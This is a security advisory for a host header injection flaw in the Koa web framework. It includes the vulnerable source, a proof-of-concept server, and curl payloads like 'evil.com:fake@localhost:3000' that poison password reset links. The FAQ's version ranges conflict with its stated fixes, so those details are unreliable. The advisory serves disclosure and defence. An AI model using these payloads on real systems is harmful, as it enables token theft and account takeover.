CVE-2026-27959: Koa has Host Header Injection via `ctx.hostname`
## Summary Koa's `ctx.hostname` API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a `@` symbol (e.g., `evil.com:fake@legitimate.com`) is received, `ctx.hostname` returns `evil.com` - an attacker-controlled value. Applications using `ctx.hostname` for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks. ## Details The vulnerability exists in Koa's hostname getter in `lib/request.js`: ```javascript // Koa 2.16.1 - lib/request.js get hostname() { const host = this.host; if (!host) return ''; if ('[' === host[0]) return this.URL.hostname || ''; // IPv6 literal return host.split(':', 1)[0]; } ``` The `host` getter retrieves the raw header value with HTTP/2 and proxy support: ```javascript // Koa 2.16.1 - lib/request.js get host() { const proxy = this.app.proxy; let host = proxy && this.get('X-Forwarded-Host'); if (!host) { if (this.req.httpVersionMajor >= 2) host = this.get(':authority'); if (!host) host = this.get('Host'); } if (!host) return ''; return host.split(',')[0].trim(); } ``` ### The Problem The parsing logic simply splits on the first `:` and returns the first segment. There is no validation that the resulting string is a valid hostname per RFC 3986 Section 3.2.2. **RFC 3986 Section 3.2.2** defines the host component as: ``` host = IP-literal / IPv4address / reg-name reg-name = *( unreserved / pct-encoded / sub-delims ) unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~" sub-delims = "!" / "$" / "&" / "'" / "(" / ")" / "*" / "+" / "," / ";" / "=" ``` The `@` character is explicitly NOT permitted in the host component - it is the delimiter separating userinfo from host in the authority component. ### Attack Vector When an attacker sends: ``` Host: evil.com:fake@legitimate.com:3000 ``` Koa parses this as: | API | Returns | Notes | |-----|---------|-------| | `ctx.get('Host')` | `"evil.com:fake@legitimate.com:3000"` | Raw header | | `ctx.hostname` | `"evil.com"` | **Attacker-controlled** | | `ctx.host` | `"evil.com:fake@legitimate.com:3000"` | Raw header value | | `ctx.origin` | `"http://evil.com:fake@legitimate.com:3000"` | Protocol + malformed host | The `ctx.hostname` API returns `evil.com` because the parser splits on the first `:` without understanding that `evil.com:fake@legitimate.com` is a malformed authority component where `evil.com:fake` would be interpreted as userinfo by a proper URI parser. ### Additional Concern: `ctx.origin` Koa's `ctx.origin` property concatenates protocol and host without validation: ```javascript // lib/request.js get origin() { return `${this.protocol}://${this.host}`; } ``` Applications using `ctx.origin` for URL generation receive the full malformed Host header value, creating URLs with embedded credentials that browsers may interpret as userinfo. ### HTTP/2 Consideration Koa explicitly checks `httpVersionMajor >= 2` to read the `:authority` pseudo-header: ```javascript if (this.req.httpVersionMajor >= 2) host = this.get(':authority'); ``` The same vulnerability applies - malformed `:authority` values containing userinfo would be accepted and parsed identically. ## PoC ### Setup ```javascript // server.js const Koa = require('koa'); const app = new Koa(); // Simulates password reset URL generation (common vulnerable pattern) app.use(async ctx => { if (ctx.path === '/forgot-password') { const resetToken = 'abc123securtoken'; const resetUrl = `${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken}`; ctx.body = { message: 'Password reset link generated', resetUrl: resetUrl, debug: { rawHost: ctx.get('Host'), parsedHostname: ctx.hostname, origin: ctx.origin, protocol: ctx.protocol } }; } }); app.listen(3000, () => console.log('Server on http://localhost:3000')); ``` ### Exploit ```bash curl -H "Host: evil.com:fake@localhost:3000" http://localhost:3000/forgot-password ``` ### Result ```json { "message": "Password reset link generated", "resetUrl": "http://evil.com/reset?token=abc123securtoken", "debug": { "rawHost": "evil.com:fake@localhost:3000", "parsedHostname": "evil.com", "origin": "http://evil.com:fake@localhost:3000", "protocol": "http" } } ``` The password reset URL points to `evil.com` instead of the legitimate server. In a real attack: 1. Attacker requests password reset for victim's email with malicious Host header 2. Server generates reset link using `ctx.hostname` → `https://evil.com/reset?token=SECRET` 3. Victim receives email with poisoned link 4. Victim clicks link, token is sent to attacker's server 5. Attacker uses token to reset victim's password ### Additional Test Cases ```bash # Basic injection curl -H "Host: evil.com:x@legitimate.com" http://localhost:3000/forgot-password # Result: hostname = "evil.com" # With port preservation attempt curl -H "Host: evil.com:443@legitimate.com:3000" http://localhost:3000/forgot-password # Result: hostname = "evil.com" # Unicode/encoded variations curl -H "Host: evil.com:x%40legitimate.com" http://localhost:3000/forgot-password # Result: hostname = "evil.com" ``` ### Deployment Consideration For this attack to succeed in production, the malicious Host header must reach the Koa application. This occurs when: 1. **No reverse proxy** - Application directly exposed to internet 2. **Misconfigured proxy** - Proxy doesn't override/validate Host header 3. **Proxy trust enabled** (`app.proxy = true`) - `X-Forwarded-Host` can be injected 4. **Default virtual host** - Server is the catch-all for unrecognized Host headers ## Impact ### Vulnerability Type - CWE-20: Improper Input Validation - CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax ### Attack Scenarios **1. Password Reset Poisoning (High Severity)** - Attacker hijacks password reset tokens by poisoning reset URLs - Requires victim to click link in email - Results in account takeover **2. Email Verification Bypass** - Attacker poisons email verification links - Can verify attacker-controlled email on victim accounts **3. OAuth/SSO Callback Manipulation** - Applications using `ctx.hostname` for OAuth redirect URIs - Attacker redirects OAuth callbacks to malicious server - Results in token theft **4. Web Cache Poisoning** - If responses are cached without Host in cache key - Poisoned URLs served to all users - Persistent XSS/phishing via cached responses **5. Server-Side Request Forgery (SSRF)** - Internal routing decisions based on `ctx.hostname` - Attacker manipulates which backend receives requests ### Who Is Impacted - **Direct impact**: Any Koa application using `ctx.hostname` or `ctx.origin` for URL generation without additional validation - **Common patterns**: Password reset, email verification, webhook URL generation, multi-tenant routing, OAuth implementations
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-27959?
CVE-2026-27959 is classified with a medium severity due to its potential to allow host header injection attacks.
How do I fix CVE-2026-27959?
To fix CVE-2026-27959, you should upgrade to Koa version 3.1.2 or later for Koa 3.x, and version 2.16.4 or later for Koa 2.x.
What are the vulnerable versions related to CVE-2026-27959?
Koa versions up to 3.1.2 and 2.16.4 are vulnerable to CVE-2026-27959.
What is host header injection in the context of CVE-2026-27959?
Host header injection occurs when an application incorrectly processes the HTTP Host header, potentially allowing an attacker to manipulate the application's behavior.
Who is affected by CVE-2026-27959?
Applications using Koa versions prior to 3.1.2 and 2.16.4 are affected by CVE-2026-27959.